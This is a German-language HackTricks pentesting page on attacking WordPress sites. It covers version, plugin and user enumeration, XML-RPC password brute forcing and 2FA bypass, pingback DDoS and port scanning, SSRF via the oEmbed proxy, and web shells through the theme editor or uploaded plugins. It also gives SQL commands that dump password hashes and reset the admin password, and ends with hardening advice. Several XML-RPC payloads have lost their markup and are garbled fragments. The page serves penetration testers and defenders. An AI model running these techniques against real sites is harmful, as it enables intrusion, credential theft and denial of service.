# Wordpress
Lernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Grundlegende Informationen
**Hochgeladene** Dateien gehen zu: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Themen-Dateien finden Sie in /wp-content/themes/,** daher verwenden Sie wahrscheinlich diesen Pfad, wenn Sie einige PHP des Themas ändern, um RCE zu erhalten. Zum Beispiel: Mit **Theme twentytwelve** können Sie auf die Datei **404.php** zugreifen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Eine andere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
In **wp-config.php** finden Sie das Root-Passwort der Datenbank.
Standard-Anmelderouten zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Haupt-WordPress-Dateien**
* `index.php`
* `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
* `wp-activate.php` wird für den E-Mail-Aktivierungsprozess bei der Einrichtung einer neuen WordPress-Site verwendet.
* Anmeldungsordner (kann umbenannt werden, um ihn zu verstecken):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, mit der Daten mit HTTP als Transportmechanismus und XML als Kodierungsmechanismus übertragen werden können. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
* Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
* `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
* `wp-includes/` Dies ist das Verzeichnis, in dem Kerndateien wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets gespeichert sind.
* `wp-sitemap.xml` In Wordpress-Versionen 5.5 und höher generiert Wordpress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.
**Nach der Ausnutzung**
* Die Datei `wp-config.php` enthält Informationen, die von WordPress zum Verbinden mit der Datenbank benötigt werden, wie den Datenbanknamen, den Datenbankhost, den Benutzernamen und das Passwort, die Authentifizierungsschlüssel und Salze sowie das Datenbanktabellenpräfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, der bei der Fehlerbehebung nützlich sein kann.
### Benutzerberechtigungen
* **Administrator**
* **Editor**: Veröffentlicht und verwaltet seine eigenen und andere Beiträge
* **Autor**: Veröffentlicht und verwaltet seine eigenen Beiträge
* **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie jedoch nicht veröffentlichen
* **Abonnent**: Durchsucht Beiträge und bearbeitet sein Profil
## **Passive Enumeration**
### **WordPress-Version abrufen**
Überprüfen Sie, ob Sie die Dateien `/license.txt` oder `/readme.html` finden können
Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
* CSS-Link-Dateien
![](<../../.gitbook/assets/image (344).png>)
* JavaScript-Dateien
![](<../../.gitbook/assets/image (346).png>)
### Plugins erhalten
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
### Themes erhalten
{% code overflow="wrap" %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
### Allgemein Versionen extrahieren
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Aktive Aufzählung
### Plugins und Themes
Sie werden wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle von ihnen zu entdecken, müssen Sie eine Liste von Plugins und Themes **aktiv Brute Forcen** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
### Benutzer
**ID Brute**
Sie erhalten gültige Benutzer von einer WordPress-Website, indem Sie Benutzer-IDs Brute Forcen:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die ID **gültig** ist. Wenn die Antwort **400** ist, ist die ID **ungültig**.
**wp-json**
Sie können auch versuchen, Informationen über die Benutzer abzurufen, indem Sie abfragen:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
Ein weiterer `/wp-json/` Endpunkt, der einige Informationen über Benutzer offenlegen kann, ist:
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Beachten Sie, dass dieser Endpunkt nur Benutzer offenlegt, die einen Beitrag veröffentlicht haben. Es werden nur Informationen über Benutzer bereitgestellt, bei denen diese Funktion aktiviert ist.
Beachten Sie auch, dass **/wp-json/wp/v2/pages** IP-Adressen preisgeben könnte.
#### Benutzernamen-Enumeration beim Login
Beim Anmelden in **`/wp-login.php`** ist die **Nachricht unterschiedlich**, je nachdem, ob der angegebene Benutzername existiert oder nicht.
### XML-RPC
Wenn `xml-rpc.php` aktiv ist, können Sie einen Anmeldeversuch mit Brute-Force durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen durchzuführen. (Sie können diesen Prozess beispielsweise mit [diesem](https://github.com/relarizky/wpxploit) automatisieren).
Um zu überprüfen, ob es aktiv ist, versuchen Sie auf _**/xmlrpc.php**_ zuzugreifen und senden Sie diese Anfrage:
**Überprüfen**
```markup
system.listMethods
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Anmeldeinformationen Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die zum Brute-Forcing von Anmeldeinformationen verwendet werden können. Wenn Sie eine davon finden können, können Sie etwas Ähnliches senden:
```markup
wp.getUsersBlogsadminpass
```
Die Meldung _"Falscher Benutzername oder Passwort"_ sollte in einer Antwort mit dem Code 200 erscheinen, wenn die Anmeldeinformationen ungültig sind.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
![](<../../.gitbook/assets/image (102).png>)
Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
wp.uploadFile1usernamepasswordnamefilename.jpgtypemime/typebits
```
Auch gibt es einen **schnelleren Weg**, um Anmeldeinformationen mit Hilfe von **`system.multicall`** per Brute-Force zu ermitteln, da mehrere Anmeldeinformationen in der gleichen Anfrage ausprobiert werden können:
**2FA umgehen**
Diese Methode ist für Programme und nicht für Menschen gedacht und ist veraltet, daher unterstützt sie keine 2FA. Wenn Sie jedoch gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **können Sie möglicherweise xmlrpc.php missbrauchen, um sich mit diesen Anmeldeinformationen unter Umgehung von 2FA anzumelden**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole ausführen können, aber Sie können möglicherweise immer noch RCE erreichen, wie es Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) erklärt.
**DDoS oder Port-Scanning**
Wenn Sie die Methode _**pingback.ping**_ in der Liste finden, können Sie Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
Dies kann verwendet werden, um **Tausende** von Wordpress-**Websites** dazu zu bringen, auf einen **Standort** zuzugreifen (so dass an diesem Standort ein **DDoS** verursacht wird) oder Sie können es verwenden, um **Wordpress** dazu zu bringen, ein internes **Netzwerk** zu **scannen** (Sie können jeden Port angeben).
```markup
pingback.pinghttp://:http://
```
![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png)
Wenn Sie einen **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bedeutet dies, dass der Port geöffnet ist.
Werfen Sie einen Blick auf die Verwendung von **`system.multicall`** im vorherigen Abschnitt, um zu erfahren, wie Sie diese Methode missbrauchen können, um DDoS-Angriffe zu verursachen.
**DDoS**
```markup
pingback.pinghttp://target/http://yoursite.com/and_some_valid_blog_post_url
```
![](<../../.gitbook/assets/image (103).png>)
### wp-cron.php DoS
Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Website: **`/wp-cron.php`**\
Wenn auf diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL-**Abfrage** durchgeführt, die von **Angreifern** verwendet werden kann, um eine **DoS** zu **verursachen**.\
Standardmäßig wird die `wp-cron.php` bei jedem Seitenaufruf aufgerufen (immer wenn ein Client eine beliebige Wordpress-Seite anfordert), was auf stark frequentierten Websites Probleme verursachen kann (DoS).
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob im Host zu erstellen, der die erforderlichen Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
### /wp-json/oembed/1.0/proxy - SSRF
Versuchen Sie, auf _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ zuzugreifen, und die Wordpress-Site kann eine Anfrage an Sie senden.
Dies ist die Antwort, wenn es nicht funktioniert:
![](<../../.gitbook/assets/image (184) (1).png>)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Dieses Tool überprüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind, und versucht, sie auszunutzen.
### Automatische Tools
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Zugriff durch Überschreiben eines Bits
Dies ist mehr eine Kuriosität als ein echter Angriff. In der CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnten Sie 1 Bit in einer beliebigen WordPress-Datei umkehren. Sie konnten also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT (`!`) Operation zu deaktivieren.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Ändern einer PHP-Datei des verwendeten Themes (Administrator-Anmeldeinformationen erforderlich)**
Erscheinungsbild → Theme-Editor → 404-Vorlage (rechts)
Ändern Sie den Inhalt für eine PHP-Shell:
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Suchen Sie im Internet nach Möglichkeiten, auf diese aktualisierte Seite zuzugreifen. In diesem Fall müssen Sie hier zugreifen: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Sie können verwenden:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## Plugin RCE
### PHP-Plugin
Es ist möglicherweise möglich, .php-Dateien als Plugin hochzuladen.\
Erstellen Sie Ihre PHP-Backdoor zum Beispiel mit:
![](<../../.gitbook/assets/image (407).png>)
Fügen Sie dann ein neues Plugin hinzu:
![](<../../.gitbook/assets/image (409).png>)
Laden Sie das Plugin hoch und klicken Sie auf "Jetzt installieren":
![](<../../.gitbook/assets/image (411).png>)
Klicken Sie auf "Weiter":
![](<../../.gitbook/assets/image (412).png>)
Dies wird wahrscheinlich nichts zu tun scheinen, aber wenn Sie zu "Medien" gehen, sehen Sie Ihre hochgeladene Shell:
![](<../../.gitbook/assets/image (413).png>)
Greifen Sie darauf zu und Sie sehen die URL zum Ausführen der Reverse-Shell:
![](<../../.gitbook/assets/image (414).png>)
### Hochladen und Aktivieren eines bösartigen Plugins
Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als verwundbar bekannt ist und ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
1. **Plugin-Erwerb**: Das Plugin wird von einer Quelle wie Exploit DB bezogen, zum Beispiel [**hier**](https://www.exploit-db.com/exploits/36374).
2. **Plugin-Installation**:
- Navigieren Sie zum WordPress-Dashboard und gehen Sie zu `Dashboard > Plugins > Plugin hochladen`.
- Laden Sie die Zip-Datei des heruntergeladenen Plugins hoch.
3. **Plugin-Aktivierung**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
4. **Ausnutzung**:
- Mit dem installierten und aktivierten Plugin "reflex-gallery" kann es ausgenutzt werden, da es als verwundbar bekannt ist.
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung hergestellt werden, die unbefugten Zugriff auf die Website gewährt.
- Es ist zu beachten, dass dies nur eine von vielen Methoden ist, um eine WordPress-Website auszunutzen.
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise ohne ordnungsgemäße Autorisierung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, wie zum Beispiel bei Penetrationstests mit ausdrücklicher Genehmigung.
**Für detailliertere Schritte siehe: [https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**
## Post-Exploitation
Extrahieren von Benutzernamen und Passwörtern:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Ändern Sie das Administratorpasswort:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## WordPress-Schutz
### Regelmäßige Updates
Stellen Sie sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätigen Sie auch, dass die automatische Aktualisierung in der wp-config.php aktiviert ist:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Außerdem sollten nur vertrauenswürdige WordPress-Plugins und -Themes installiert werden.
### Sicherheits-Plugins
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Weitere Empfehlungen**
* Entfernen Sie den Standardbenutzer **admin**
* Verwenden Sie **starke Passwörter** und **2FA**
* Überprüfen Sie regelmäßig die **Berechtigungen** der Benutzer
* Begrenzen Sie die Anzahl der Anmeldeversuche, um Brute-Force-Angriffe zu verhindern
* Benennen Sie die Datei **`wp-admin.php`** um und erlauben Sie nur den Zugriff intern oder von bestimmten IP-Adressen.
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Lernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.